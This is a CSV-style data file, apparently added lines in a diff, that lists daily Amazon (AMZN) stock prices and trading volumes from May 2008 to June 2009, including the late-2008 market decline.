+2008-05-12,73.0,74.93000030517578,71.77999877929688,74.52999877929688,74.52999877929688,7215400,AMZN
+2008-05-13,74.56999969482422,74.95999908447266,73.30999755859375,74.55999755859375,74.55999755859375,5020800,AMZN
+2008-05-14,74.91999816894531,75.75,73.9800033569336,74.19999694824219,74.19999694824219,4589200,AMZN
+2008-05-15,73.88999938964844,76.31999969482422,73.55000305175781,76.12000274658203,76.12000274658203,6917700,AMZN
+2008-05-16,76.41999816894531,76.83000183105469,74.86000061035156,76.45999908447266,76.45999908447266,6206700,AMZN
+2008-05-19,79.01000213623047,84.75,78.86000061035156,82.29000091552734,82.29000091552734,18684800,AMZN
+2008-05-20,82.16999816894531,82.69999694824219,80.02999877929688,80.72000122070312,80.72000122070312,7912200,AMZN
+2008-05-21,80.37000274658203,81.1500015258789,77.5,78.30000305175781,78.30000305175781,7070500,AMZN
+2008-05-22,78.68000030517578,79.69000244140625,78.0,79.26000213623047,79.26000213623047,5390600,AMZN
+2008-05-23,78.55000305175781,78.87000274658203,77.43000030517578,78.3499984741211,78.3499984741211,6331900,AMZN
+2008-05-27,78.26000213623047,80.9000015258789,77.97000122070312,80.62000274658203,80.62000274658203,10108200,AMZN
+2008-05-28,80.7300033569336,80.79000091552734,78.98999786376953,80.08000183105469,80.08000183105469,6700600,AMZN
+2008-05-29,80.61000061035156,81.95999908447266,80.16999816894531,80.3499984741211,80.3499984741211,6857600,AMZN
+2008-05-30,80.58000183105469,81.7699966430664,80.30000305175781,81.62000274658203,81.62000274658203,5270600,AMZN
+2008-06-02,81.1500015258789,81.56999969482422,80.05000305175781,80.2300033569336,80.2300033569336,6215200,AMZN
+2008-06-03,80.70999908447266,81.88999938964844,79.26000213623047,80.11000061035156,80.11000061035156,5870000,AMZN
+2008-06-04,80.11000061035156,81.81999969482422,79.72000122070312,81.5,81.5,6458300,AMZN
+2008-06-05,82.11000061035156,84.87999725341797,81.80000305175781,84.51000213623047,84.51000213623047,8938700,AMZN
+2008-06-06,83.23999786376953,83.63999938964844,80.55999755859375,80.62999725341797,80.62999725341797,7843700,AMZN
+2008-06-09,81.19000244140625,81.52999877929688,78.12000274658203,79.43000030517578,79.43000030517578,6537300,AMZN
+2008-06-10,78.19999694824219,81.04000091552734,78.19999694824219,79.62000274658203,79.62000274658203,6065600,AMZN
+2008-06-11,79.3499984741211,80.0,77.02999877929688,77.27999877929688,77.27999877929688,5874500,AMZN
+2008-06-12,78.0199966430664,79.05000305175781,75.01000213623047,76.1500015258789,76.1500015258789,6204400,AMZN
+2008-06-13,76.69999694824219,80.0,76.69999694824219,79.16999816894531,79.16999816894531,5974500,AMZN
+2008-06-16,78.41999816894531,82.52999877929688,78.41000366210938,81.69999694824219,81.69999694824219,5754400,AMZN
+2008-06-17,83.1500015258789,84.30000305175781,82.80000305175781,82.97000122070312,82.97000122070312,8802400,AMZN
+2008-06-18,82.0,83.16999816894531,81.31999969482422,82.5199966430664,82.5199966430664,6846600,AMZN
+2008-06-19,82.20999908447266,84.47000122070312,81.5,84.26000213623047,84.26000213623047,6717300,AMZN
+2008-06-20,83.0999984741211,83.45999908447266,80.51000213623047,81.0999984741211,81.0999984741211,6588900,AMZN
+2008-06-23,81.30000305175781,82.1500015258789,79.55000305175781,80.68000030517578,80.68000030517578,7425800,AMZN
+2008-06-24,79.55000305175781,80.79000091552734,77.62999725341797,79.63999938964844,79.63999938964844,7140100,AMZN
+2008-06-25,80.44999694824219,82.1500015258789,79.5199966430664,80.51000213623047,80.51000213623047,7393300,AMZN
+2008-06-26,79.0999984741211,79.88999938964844,76.0,76.30000305175781,76.30000305175781,11310100,AMZN
+2008-06-27,75.58999633789062,76.06999969482422,72.62000274658203,74.66000366210938,74.66000366210938,11840500,AMZN
+2008-06-30,75.02999877929688,76.12000274658203,73.20999908447266,73.33000183105469,73.33000183105469,7104100,AMZN
+2008-07-01,72.23999786376953,74.2300033569336,70.5199966430664,73.62000274658203,73.62000274658203,10292500,AMZN
+2008-07-02,74.16000366210938,74.41000366210938,71.37999725341797,71.44000244140625,71.44000244140625,7044400,AMZN
+2008-07-03,72.51000213623047,73.83999633789062,70.5199966430664,72.0,72.0,4248200,AMZN
+2008-07-07,72.37000274658203,74.4000015258789,70.76000213623047,72.48999786376953,72.48999786376953,7355500,AMZN
+2008-07-08,72.37999725341797,75.48999786376953,71.75,75.04000091552734,75.04000091552734,7916000,AMZN
+2008-07-09,74.55999755859375,74.9000015258789,70.4800033569336,70.61000061035156,70.61000061035156,6912100,AMZN
+2008-07-10,70.69999694824219,71.7699966430664,67.98999786376953,70.62999725341797,70.62999725341797,9941600,AMZN
+2008-07-11,69.4000015258789,69.98999786376953,66.73999786376953,68.54000091552734,68.54000091552734,7930000,AMZN
+2008-07-14,69.30999755859375,69.5,65.58999633789062,66.27999877929688,66.27999877929688,9021300,AMZN
+2008-07-15,65.87000274658203,68.62000274658203,62.9900016784668,67.02999877929688,67.02999877929688,11342100,AMZN
+2008-07-16,66.94000244140625,72.75,66.83999633789062,71.83999633789062,71.83999633789062,12038900,AMZN
+2008-07-17,71.19999694824219,72.37999725341797,67.73999786376953,72.11000061035156,72.11000061035156,9597400,AMZN
+2008-07-18,69.94000244140625,70.83999633789062,68.4000015258789,69.12000274658203,69.12000274658203,8298000,AMZN
+2008-07-21,69.5199966430664,69.80000305175781,66.30000305175781,68.4800033569336,68.4800033569336,6896900,AMZN
+2008-07-22,67.08999633789062,69.13999938964844,65.87999725341797,67.97000122070312,67.97000122070312,8795800,AMZN
+2008-07-23,67.45999908447266,72.06999969482422,67.45999908447266,70.54000091552734,70.54000091552734,17916200,AMZN
+2008-07-24,76.30000305175781,82.37999725341797,76.29000091552734,78.72000122070312,78.72000122070312,30996600,AMZN
+2008-07-25,79.62999725341797,80.94000244140625,78.12000274658203,78.30999755859375,78.30999755859375,9150700,AMZN
+2008-07-28,77.08999633789062,78.30999755859375,74.86000061035156,75.9800033569336,75.9800033569336,10480200,AMZN
+2008-07-29,76.48999786376953,78.80000305175781,76.16000366210938,78.20999908447266,78.20999908447266,6770900,AMZN
+2008-07-30,78.36000061035156,79.8499984741211,76.41999816894531,78.20999908447266,78.20999908447266,7567300,AMZN
+2008-07-31,76.75,78.16999816894531,76.0999984741211,76.33999633789062,76.33999633789062,5300700,AMZN
+2008-08-01,76.36000061035156,76.48999786376953,74.05000305175781,75.75,75.75,4774500,AMZN
+2008-08-04,75.98999786376953,77.30000305175781,75.01000213623047,75.70999908447266,75.70999908447266,4498200,AMZN
+2008-08-05,76.91999816894531,79.5199966430664,76.5199966430664,79.11000061035156,79.11000061035156,7794600,AMZN
+2008-08-06,78.55000305175781,78.62999725341797,76.7300033569336,78.08999633789062,78.08999633789062,6406100,AMZN
+2008-08-07,77.01000213623047,78.05000305175781,76.0,76.94999694824219,76.94999694824219,5444800,AMZN
+2008-08-08,76.77999877929688,81.20999908447266,76.29000091552734,80.51000213623047,80.51000213623047,9162700,AMZN
+2008-08-11,80.18000030517578,91.75,79.77999877929688,88.08999633789062,88.08999633789062,25070200,AMZN
+2008-08-12,87.31999969482422,88.4800033569336,86.0999984741211,87.25,87.25,8026500,AMZN
+2008-08-13,86.27999877929688,88.25,84.54000091552734,86.69000244140625,86.69000244140625,7208800,AMZN
+2008-08-14,85.70999908447266,88.75,85.22000122070312,88.02999877929688,88.02999877929688,6901700,AMZN
+2008-08-15,88.27999877929688,89.52999877929688,86.26000213623047,86.4000015258789,86.4000015258789,6871600,AMZN
+2008-08-18,86.08999633789062,86.27999877929688,83.04000091552734,83.11000061035156,83.11000061035156,6547400,AMZN
+2008-08-19,83.08999633789062,83.51000213623047,81.05999755859375,81.29000091552734,81.29000091552734,6630400,AMZN
+2008-08-20,82.0,83.25,81.19999694824219,82.12999725341797,82.12999725341797,5950600,AMZN
+2008-08-21,81.41000366210938,83.7699966430664,80.9800033569336,83.26000213623047,83.26000213623047,6157800,AMZN
+2008-08-22,84.2699966430664,85.45999908447266,83.93000030517578,85.26000213623047,85.26000213623047,4677800,AMZN
+2008-08-25,84.62999725341797,84.63999938964844,82.44999694824219,82.8499984741211,82.8499984741211,4356400,AMZN
+2008-08-26,82.73999786376953,83.12000274658203,81.25,81.76000213623047,81.76000213623047,4374200,AMZN
+2008-08-27,81.44000244140625,82.73999786376953,81.0,81.7300033569336,81.7300033569336,5627300,AMZN
+2008-08-28,82.20999908447266,83.6500015258789,81.80000305175781,83.41999816894531,83.41999816894531,7834100,AMZN
+2008-08-29,82.9000015258789,82.9000015258789,80.5,80.80999755859375,80.80999755859375,4728700,AMZN
+2008-09-02,83.16000366210938,84.5,81.20999908447266,81.41000366210938,81.41000366210938,6000800,AMZN
+2008-09-03,81.4000015258789,82.0,80.0199966430664,80.7699966430664,80.7699966430664,5742600,AMZN
+2008-09-04,80.5999984741211,80.80999755859375,78.0199966430664,78.02999877929688,78.02999877929688,8316500,AMZN
+2008-09-05,77.33999633789062,80.72000122070312,77.08000183105469,79.19000244140625,79.19000244140625,8069100,AMZN
+2008-09-08,82.25,83.75,78.8499984741211,81.16000366210938,81.16000366210938,9490600,AMZN
+2008-09-09,80.76000213623047,81.95999908447266,78.98999786376953,79.04000091552734,79.04000091552734,5821800,AMZN
+2008-09-10,80.01000213623047,80.22000122070312,76.1500015258789,76.73999786376953,76.73999786376953,9444700,AMZN
+2008-09-11,75.2699966430664,79.80000305175781,75.0999984741211,79.51000213623047,79.51000213623047,7813600,AMZN
+2008-09-12,78.80999755859375,79.5999984741211,76.62000274658203,78.30000305175781,78.30000305175781,6480100,AMZN
+2008-09-15,76.86000061035156,79.87999725341797,76.30000305175781,77.33999633789062,77.33999633789062,8980800,AMZN
+2008-09-16,76.80000305175781,79.62999725341797,76.66999816894531,78.7300033569336,78.7300033569336,13092200,AMZN
+2008-09-17,77.68000030517578,78.23999786376953,71.23999786376953,71.54000091552734,71.54000091552734,13165600,AMZN
+2008-09-18,73.08000183105469,77.5,70.08000183105469,76.5,76.5,12397200,AMZN
+2008-09-19,80.12000274658203,86.7699966430664,76.5,81.0,81.0,14772200,AMZN
+2008-09-22,81.12999725341797,81.62999725341797,74.31999969482422,74.93000030517578,74.93000030517578,7037700,AMZN
+2008-09-23,75.79000091552734,76.29000091552734,70.7699966430664,71.76000213623047,71.76000213623047,8594200,AMZN
+2008-09-24,72.30000305175781,73.6500015258789,68.94000244140625,69.95999908447266,69.95999908447266,9372400,AMZN
+2008-09-25,70.66000366210938,72.75,70.01000213623047,72.08000183105469,72.08000183105469,6073000,AMZN
+2008-09-26,69.5199966430664,71.05000305175781,68.08000183105469,70.69999694824219,70.69999694824219,6747100,AMZN
+2008-09-29,68.41000366210938,69.37000274658203,61.31999969482422,63.349998474121094,63.349998474121094,12004300,AMZN
+2008-09-30,65.83999633789062,73.12000274658203,65.31999969482422,72.76000213623047,72.76000213623047,13046900,AMZN
+2008-10-01,71.77999877929688,71.98999786376953,68.41000366210938,69.58000183105469,69.58000183105469,9622200,AMZN
+2008-10-02,67.62999725341797,68.95999908447266,65.41000366210938,67.36000061035156,67.36000061035156,8726100,AMZN
+2008-10-03,69.41999816894531,70.94999694824219,66.58999633789062,67.0,67.0,11228100,AMZN
+2008-10-06,64.05999755859375,65.88999938964844,60.470001220703125,65.2300033569336,65.2300033569336,13385500,AMZN
+2008-10-07,65.79000091552734,66.43000030517578,58.5,58.52000045776367,58.52000045776367,12756000,AMZN
+2008-10-08,55.63999938964844,62.75,55.349998474121094,61.02000045776367,61.02000045776367,14324500,AMZN
+2008-10-09,61.970001220703125,63.5,56.0,56.0,56.0,13930900,AMZN
+2008-10-10,52.9900016784668,59.75,51.04999923706055,56.25,56.25,18021700,AMZN
+2008-10-13,58.959999084472656,62.209999084472656,57.369998931884766,62.02000045776367,62.02000045776367,11194800,AMZN
+2008-10-14,63.5,64.0,54.79999923706055,55.86000061035156,55.86000061035156,17306600,AMZN
+2008-10-15,54.459999084472656,54.689998626708984,48.349998474121094,48.720001220703125,48.720001220703125,16257600,AMZN
+2008-10-16,46.400001525878906,50.70000076293945,43.38999938964844,50.290000915527344,50.290000915527344,22081100,AMZN
+2008-10-17,48.83000183105469,62.33000183105469,48.40999984741211,50.650001525878906,50.650001525878906,12946400,AMZN
+2008-10-20,52.16999816894531,53.099998474121094,49.90999984741211,52.970001220703125,52.970001220703125,8452100,AMZN
+2008-10-21,51.86000061035156,52.95000076293945,49.91999816894531,50.22999954223633,50.22999954223633,8669600,AMZN
+2008-10-22,50.04999923706055,52.470001220703125,47.900001525878906,49.9900016784668,49.9900016784668,19513200,AMZN
+2008-10-23,43.369998931884766,50.90999984741211,43.310001373291016,50.31999969482422,50.31999969482422,32601900,AMZN
+2008-10-24,44.75,52.31999969482422,44.5,48.959999084472656,48.959999084472656,19605900,AMZN
+2008-10-27,49.0,52.59000015258789,48.43000030517578,49.58000183105469,49.58000183105469,11759200,AMZN
+2008-10-28,51.5,56.29999923706055,49.06999969482422,56.040000915527344,56.040000915527344,14834700,AMZN
+2008-10-29,55.529998779296875,59.790000915527344,54.52000045776367,56.88999938964844,56.88999938964844,15196300,AMZN
+2008-10-30,58.7599983215332,59.88999938964844,55.08000183105469,56.709999084472656,56.709999084472656,11125700,AMZN
+2008-10-31,56.0099983215332,57.25,55.0099983215332,57.2400016784668,57.2400016784668,8534600,AMZN
+2008-11-03,56.349998474121094,57.25,55.02000045776367,55.77000045776367,55.77000045776367,7170100,AMZN
+2008-11-04,57.15999984741211,58.72999954223633,55.220001220703125,58.45000076293945,58.45000076293945,7663800,AMZN
+2008-11-05,57.470001220703125,58.0,51.619998931884766,51.97999954223633,51.97999954223633,11498400,AMZN
+2008-11-06,49.79999923706055,51.040000915527344,46.29999923706055,47.220001220703125,47.220001220703125,15487800,AMZN
+2008-11-07,47.7599983215332,49.790000915527344,47.0099983215332,49.209999084472656,49.209999084472656,7439600,AMZN
+2008-11-10,49.97999954223633,50.68000030517578,46.86000061035156,48.459999084472656,48.459999084472656,8964900,AMZN
+2008-11-11,47.099998474121094,48.060001373291016,44.810001373291016,46.29999923706055,46.29999923706055,9939200,AMZN
+2008-11-12,43.9900016784668,45.439998626708984,40.900001525878906,41.560001373291016,41.560001373291016,14768600,AMZN
+2008-11-13,41.400001525878906,45.0,38.47999954223633,44.93000030517578,44.93000030517578,16935300,AMZN
+2008-11-14,43.61000061035156,44.5,41.5,41.75,41.75,11949700,AMZN
+2008-11-17,39.90999984741211,41.2599983215332,39.06999969482422,39.689998626708984,39.689998626708984,10711800,AMZN
+2008-11-18,39.72999954223633,40.65999984741211,36.08000183105469,38.439998626708984,38.439998626708984,15049200,AMZN
+2008-11-19,37.970001220703125,39.0,35.75,35.84000015258789,35.84000015258789,12521100,AMZN
+2008-11-20,35.290000915527344,39.720001220703125,34.68000030517578,35.029998779296875,35.029998779296875,18423900,AMZN
+2008-11-21,36.38999938964844,39.0,35.720001220703125,37.869998931884766,37.869998931884766,15042700,AMZN
+2008-11-24,38.790000915527344,43.439998626708984,38.70000076293945,42.5,42.5,14549700,AMZN
+2008-11-25,42.09000015258789,42.88999938964844,39.61000061035156,42.189998626708984,42.189998626708984,13015000,AMZN
+2008-11-26,40.869998931884766,44.0,40.290000915527344,43.959999084472656,43.959999084472656,13439700,AMZN
+2008-11-28,44.029998779296875,44.099998474121094,42.220001220703125,42.70000076293945,42.70000076293945,3481000,AMZN
+2008-12-01,42.0,43.2599983215332,40.380001068115234,40.470001220703125,40.470001220703125,11178900,AMZN
+2008-12-02,41.38999938964844,41.709999084472656,38.81999969482422,41.189998626708984,41.189998626708984,8713700,AMZN
+2008-12-03,40.15999984741211,45.880001068115234,40.04999923706055,45.209999084472656,45.209999084472656,15675600,AMZN
+2008-12-04,45.939998626708984,50.5,45.75,47.31999969482422,47.31999969482422,19782300,AMZN
+2008-12-05,45.88999938964844,48.4900016784668,43.29999923706055,48.2599983215332,48.2599983215332,14608800,AMZN
+2008-12-08,49.150001525878906,52.13999938964844,47.36000061035156,51.40999984741211,51.40999984741211,10940700,AMZN
+2008-12-09,49.810001373291016,54.47999954223633,49.70000076293945,51.25,51.25,13314800,AMZN
+2008-12-10,51.459999084472656,51.5,48.34000015258789,49.70000076293945,49.70000076293945,7753800,AMZN
+2008-12-11,49.33000183105469,50.4900016784668,48.16999816894531,48.25,48.25,7583600,AMZN
+2008-12-12,47.52000045776367,51.380001068115234,47.52000045776367,51.25,51.25,8664800,AMZN
+2008-12-15,50.650001525878906,50.95000076293945,48.150001525878906,48.849998474121094,48.849998474121094,7285400,AMZN
+2008-12-16,49.619998931884766,52.959999084472656,49.290000915527344,52.630001068115234,52.630001068115234,8862900,AMZN
+2008-12-17,52.2599983215332,54.77000045776367,51.529998779296875,53.18000030517578,53.18000030517578,9183100,AMZN
+2008-12-18,53.0,54.849998474121094,51.20000076293945,52.08000183105469,52.08000183105469,7518100,AMZN
+2008-12-19,51.59000015258789,52.9900016784668,50.91999816894531,51.560001373291016,51.560001373291016,10963200,AMZN
+2008-12-22,51.599998474121094,52.150001525878906,48.470001220703125,49.84000015258789,49.84000015258789,8925000,AMZN
+2008-12-23,50.119998931884766,51.61000061035156,50.119998931884766,51.08000183105469,51.08000183105469,5845400,AMZN
+2008-12-24,51.65999984741211,51.95000076293945,51.0099983215332,51.439998626708984,51.439998626708984,1645500,AMZN
+2008-12-26,53.790000915527344,53.95000076293945,51.54999923706055,51.779998779296875,51.779998779296875,6847300,AMZN
+2008-12-29,51.43000030517578,51.77000045776367,48.560001373291016,49.400001525878906,49.400001525878906,6507900,AMZN
+2008-12-30,49.5099983215332,51.209999084472656,48.7400016784668,50.7599983215332,50.7599983215332,6601300,AMZN
+2008-12-31,50.7400016784668,51.689998626708984,49.90999984741211,51.279998779296875,51.279998779296875,7792200,AMZN
+2009-01-02,51.349998474121094,54.529998779296875,51.06999969482422,54.36000061035156,54.36000061035156,7296400,AMZN
+2009-01-05,55.72999954223633,55.7400016784668,53.029998779296875,54.060001373291016,54.060001373291016,9509800,AMZN
+2009-01-06,54.54999923706055,58.220001220703125,53.75,57.36000061035156,57.36000061035156,11080100,AMZN
+2009-01-07,56.290000915527344,56.95000076293945,55.349998474121094,56.20000076293945,56.20000076293945,7942700,AMZN
+2009-01-08,54.9900016784668,57.31999969482422,54.58000183105469,57.15999984741211,57.15999984741211,6577900,AMZN
+2009-01-09,56.91999816894531,57.0,54.70000076293945,55.5099983215332,55.5099983215332,6684100,AMZN
+2009-01-12,54.119998931884766,54.29999923706055,50.869998931884766,51.91999816894531,51.91999816894531,9556300,AMZN
+2009-01-13,50.959999084472656,53.290000915527344,50.75,51.45000076293945,51.45000076293945,7883200,AMZN
+2009-01-14,50.099998474121094,50.099998474121094,48.13999938964844,48.4900016784668,48.4900016784668,10442600,AMZN
+2009-01-15,48.560001373291016,52.22999954223633,47.630001068115234,51.439998626708984,51.439998626708984,11617300,AMZN
+2009-01-16,51.79999923706055,52.33000183105469,49.529998779296875,51.59000015258789,51.59000015258789,8258200,AMZN
+2009-01-20,50.75,51.70000076293945,48.27000045776367,48.439998626708984,48.439998626708984,6767200,AMZN
+2009-01-21,49.310001373291016,50.689998626708984,48.25,50.540000915527344,50.540000915527344,5829500,AMZN
+2009-01-22,49.41999816894531,50.880001068115234,48.2599983215332,49.939998626708984,49.939998626708984,7133300,AMZN
+2009-01-23,48.900001525878906,51.41999816894531,48.45000076293945,50.630001068115234,50.630001068115234,5793300,AMZN
+2009-01-26,50.18000030517578,50.88999938964844,48.52000045776367,49.630001068115234,49.630001068115234,7155700,AMZN
+2009-01-27,49.29999923706055,50.41999816894531,47.720001220703125,48.439998626708984,48.439998626708984,8738200,AMZN
+2009-01-28,49.720001220703125,51.4900016784668,48.970001220703125,50.36000061035156,50.36000061035156,8056600,AMZN
+2009-01-29,49.959999084472656,51.849998474121094,49.13999938964844,50.0,50.0,17966800,AMZN
+2009-01-30,57.36000061035156,59.7400016784668,57.2400016784668,58.81999969482422,58.81999969482422,39783100,AMZN
+2009-02-02,58.56999969482422,62.0,58.130001068115234,61.150001525878906,61.150001525878906,19324300,AMZN
+2009-02-03,60.869998931884766,64.19999694824219,60.0,63.59000015258789,63.59000015258789,14694600,AMZN
+2009-02-04,63.380001068115234,63.439998626708984,60.83000183105469,61.060001373291016,61.060001373291016,13726300,AMZN
+2009-02-05,61.150001525878906,63.810001373291016,60.630001068115234,63.18000030517578,63.18000030517578,10169600,AMZN
+2009-02-06,63.18000030517578,67.0,63.18000030517578,66.55000305175781,66.55000305175781,12044900,AMZN
+2009-02-09,66.55999755859375,67.36000061035156,65.37999725341797,66.70999908447266,66.70999908447266,9437600,AMZN
+2009-02-10,66.1500015258789,67.2300033569336,63.06999969482422,63.310001373291016,63.310001373291016,10700600,AMZN
+2009-02-11,63.099998474121094,64.9000015258789,62.25,64.3499984741211,64.3499984741211,8347300,AMZN
+2009-02-12,63.25,64.25,61.709999084472656,63.959999084472656,63.959999084472656,8095500,AMZN
+2009-02-13,63.970001220703125,64.68000030517578,62.869998931884766,63.2599983215332,63.2599983215332,4130900,AMZN
+2009-02-17,61.66999816894531,62.650001525878906,61.18000030517578,61.66999816894531,61.66999816894531,7126100,AMZN
+2009-02-18,62.27000045776367,62.779998779296875,60.52000045776367,62.349998474121094,62.349998474121094,7366000,AMZN
+2009-02-19,62.84000015258789,64.18000030517578,61.66999816894531,61.95000076293945,61.95000076293945,6768900,AMZN
+2009-02-20,61.06999969482422,64.1500015258789,60.84000015258789,63.86000061035156,63.86000061035156,9354500,AMZN
+2009-02-23,64.16000366210938,64.91000366210938,61.52000045776367,61.709999084472656,61.709999084472656,7336000,AMZN
+2009-02-24,61.970001220703125,66.0999984741211,61.88999938964844,65.5999984741211,65.5999984741211,10271400,AMZN
+2009-02-25,64.9000015258789,65.75,62.81999969482422,63.709999084472656,63.709999084472656,9122100,AMZN
+2009-02-26,64.12000274658203,64.7300033569336,62.34000015258789,62.34000015258789,62.34000015258789,7275300,AMZN
+2009-02-27,61.2599983215332,65.08000183105469,60.939998626708984,64.79000091552734,64.79000091552734,11488300,AMZN
+2009-03-02,63.939998626708984,65.5199966430664,61.5099983215332,61.9900016784668,61.9900016784668,10511900,AMZN
+2009-03-03,62.75,63.290000915527344,61.29999923706055,61.70000076293945,61.70000076293945,9691600,AMZN
+2009-03-04,62.79999923706055,65.79000091552734,62.400001525878906,64.80999755859375,64.80999755859375,11960900,AMZN
+2009-03-05,64.12000274658203,65.80000305175781,63.599998474121094,64.7699966430664,64.7699966430664,11770300,AMZN
+2009-03-06,65.19999694824219,65.5,59.81999969482422,61.689998626708984,61.689998626708984,15093800,AMZN
+2009-03-09,62.20000076293945,64.02999877929688,60.150001525878906,60.4900016784668,60.4900016784668,13561400,AMZN
+2009-03-10,62.4900016784668,65.9000015258789,61.779998779296875,65.70999908447266,65.70999908447266,15435700,AMZN
+2009-03-11,66.23999786376953,69.37000274658203,65.2699966430664,68.54000091552734,68.54000091552734,13881700,AMZN
+2009-03-12,68.3499984741211,69.87000274658203,67.25,69.58000183105469,69.58000183105469,11348900,AMZN
+2009-03-13,69.63999938964844,69.73999786376953,67.52999877929688,68.62999725341797,68.62999725341797,8903400,AMZN
+2009-03-16,68.55999755859375,69.29000091552734,66.68000030517578,66.9800033569336,66.9800033569336,9437300,AMZN
+2009-03-17,67.37000274658203,71.70999908447266,67.0,71.3499984741211,71.3499984741211,11902800,AMZN
+2009-03-18,70.97000122070312,73.91000366210938,70.12999725341797,71.25,71.25,10401700,AMZN
+2009-03-19,71.4000015258789,71.91000366210938,69.23999786376953,70.0999984741211,70.0999984741211,8819100,AMZN
+2009-03-20,70.38999938964844,70.88999938964844,69.08000183105469,69.95999908447266,69.95999908447266,8468100,AMZN
+2009-03-23,71.36000061035156,75.61000061035156,70.69999694824219,75.58000183105469,75.58000183105469,8612400,AMZN
+2009-03-24,74.8499984741211,75.0,72.30999755859375,72.80999755859375,72.80999755859375,7457900,AMZN
+2009-03-25,73.08999633789062,73.94999694824219,69.83999633789062,72.4000015258789,72.4000015258789,7895600,AMZN
+2009-03-26,73.47000122070312,74.9800033569336,72.63999938964844,73.69000244140625,73.69000244140625,6657700,AMZN
+2009-03-27,71.61000061035156,72.29000091552734,70.0999984741211,70.5199966430664,70.5199966430664,8568800,AMZN
+2009-03-30,70.4000015258789,71.66999816894531,69.75,71.44000244140625,71.44000244140625,8373100,AMZN
+2009-03-31,72.61000061035156,74.5,72.12000274658203,73.44000244140625,73.44000244140625,8918200,AMZN
+2009-04-01,73.0199966430664,75.08999633789062,71.70999908447266,73.5,73.5,7041400,AMZN
+2009-04-02,73.62999725341797,77.23999786376953,73.44000244140625,76.33999633789062,76.33999633789062,11066900,AMZN
+2009-04-03,76.41999816894531,78.31999969482422,75.5,78.16999816894531,78.16999816894531,5809900,AMZN
+2009-04-06,77.26000213623047,78.36000061035156,76.0,77.98999786376953,77.98999786376953,5751300,AMZN
+2009-04-07,76.97000122070312,77.08000183105469,74.87999725341797,75.51000213623047,75.51000213623047,5748800,AMZN
+2009-04-08,75.93000030517578,77.11000061035156,74.56999969482422,76.9800033569336,76.9800033569336,5653000,AMZN
+2009-04-09,77.51000213623047,80.0,77.26000213623047,79.7699966430664,79.7699966430664,7082300,AMZN
+2009-04-13,79.83999633789062,79.97000122070312,77.8499984741211,78.94000244140625,78.94000244140625,6212200,AMZN
+2009-04-14,78.0,79.45999908447266,76.94000244140625,77.22000122070312,77.22000122070312,6160400,AMZN
+2009-04-15,75.5,75.80999755859375,73.51000213623047,74.70999908447266,74.70999908447266,9412800,AMZN
+2009-04-16,75.33000183105469,77.4800033569336,75.16000366210938,77.25,77.25,7467800,AMZN
+2009-04-17,76.77999877929688,78.72000122070312,75.87999725341797,78.05000305175781,78.05000305175781,7426000,AMZN
+2009-04-20,78.44000244140625,79.79000091552734,76.83000183105469,77.56999969482422,77.56999969482422,8686900,AMZN
+2009-04-21,77.33000183105469,79.0999984741211,77.29000091552734,78.73999786376953,78.73999786376953,7162200,AMZN
+2009-04-22,78.16999816894531,82.18000030517578,77.80999755859375,79.19999694824219,79.19999694824219,8775500,AMZN
+2009-04-23,81.33000183105469,82.05999755859375,79.08000183105469,80.61000061035156,80.61000061035156,16187700,AMZN
+2009-04-24,82.02999877929688,86.68000030517578,80.7300033569336,84.45999908447266,84.45999908447266,23484300,AMZN
+2009-04-27,83.87999725341797,84.9800033569336,82.20999908447266,83.12000274658203,83.12000274658203,9705900,AMZN
+2009-04-28,82.68000030517578,85.3499984741211,82.4000015258789,82.4000015258789,82.4000015258789,7924000,AMZN
+2009-04-29,82.98999786376953,82.98999786376953,79.26000213623047,79.79000091552734,79.79000091552734,9735100,AMZN
+2009-04-30,80.93000030517578,82.66999816894531,79.88999938964844,80.5199966430664,80.5199966430664,8537600,AMZN
+2009-05-01,80.37999725341797,80.37999725341797,77.8499984741211,78.95999908447266,78.95999908447266,6121700,AMZN
+2009-05-04,80.26000213623047,81.3499984741211,78.8499984741211,79.7699966430664,79.7699966430664,7019300,AMZN
+2009-05-05,81.01000213623047,82.0,80.19000244140625,81.9000015258789,81.9000015258789,5870300,AMZN
+2009-05-06,82.87999725341797,83.5999984741211,79.66000366210938,81.98999786376953,81.98999786376953,8604000,AMZN
+2009-05-07,82.7300033569336,82.75,77.87999725341797,79.27999877929688,79.27999877929688,9632100,AMZN
+2009-05-08,79.69000244140625,80.2300033569336,76.30999755859375,77.94999694824219,77.94999694824219,8193000,AMZN
+2009-05-11,76.80000305175781,79.8499984741211,76.01000213623047,78.61000061035156,78.61000061035156,6872300,AMZN
+2009-05-12,78.69999694824219,78.97000122070312,76.52999877929688,77.93000030517578,77.93000030517578,5548700,AMZN
+2009-05-13,76.25,76.6500015258789,74.01000213623047,74.19000244140625,74.19000244140625,8770500,AMZN
+2009-05-14,73.79000091552734,76.05999755859375,73.30999755859375,75.11000061035156,75.11000061035156,9343600,AMZN
+2009-05-15,74.54000091552734,76.20999908447266,73.41999816894531,73.5999984741211,73.5999984741211,8011700,AMZN
+2009-05-18,73.95999908447266,75.95999908447266,73.0999984741211,75.94999694824219,75.94999694824219,6829100,AMZN
+2009-05-19,75.43000030517578,78.95999908447266,75.12000274658203,77.87000274658203,77.87000274658203,8028900,AMZN
+2009-05-20,78.5,81.11000061035156,77.41999816894531,77.97000122070312,77.97000122070312,7351000,AMZN
+2009-05-21,76.75,77.97000122070312,75.4000015258789,75.95999908447266,75.95999908447266,5640500,AMZN
+2009-05-22,76.0999984741211,77.04000091552734,75.0199966430664,75.63999938964844,75.63999938964844,3484700,AMZN
+2009-05-26,75.02999877929688,78.4800033569336,74.55000305175781,78.38999938964844,78.38999938964844,6699600,AMZN
+2009-05-27,78.51000213623047,79.5,76.75,77.0999984741211,77.0999984741211,5567100,AMZN
+2009-05-28,77.69999694824219,79.0999984741211,75.87999725341797,77.6500015258789,77.6500015258789,4943100,AMZN
+2009-05-29,77.72000122070312,78.01000213623047,76.4000015258789,77.98999786376953,77.98999786376953,5072200,AMZN
+2009-06-01,78.20999908447266,84.80000305175781,77.48999786376953,83.05000305175781,83.05000305175781,10796500,AMZN
+2009-06-02,82.41999816894531,85.44999694824219,82.0999984741211,84.93000030517578,84.93000030517578,9397000,AMZN
+2009-06-03,83.30999755859375,85.70999908447266,83.12999725341797,85.68000030517578,85.68000030517578,7603400,AMZN
+2009-06-04,85.41999816894531,86.4000015258789,84.56999969482422,85.5199966430664,85.5199966430664,5465400,AMZN
+2009-06-05,86.29000091552734,87.94999694824219,85.30000305175781,87.55999755859375,87.55999755859375,8263500,AMZN
+2009-06-08,86.75,87.18000030517578,85.11000061035156,86.36000061035156,86.36000061035156,5602100,AMZN
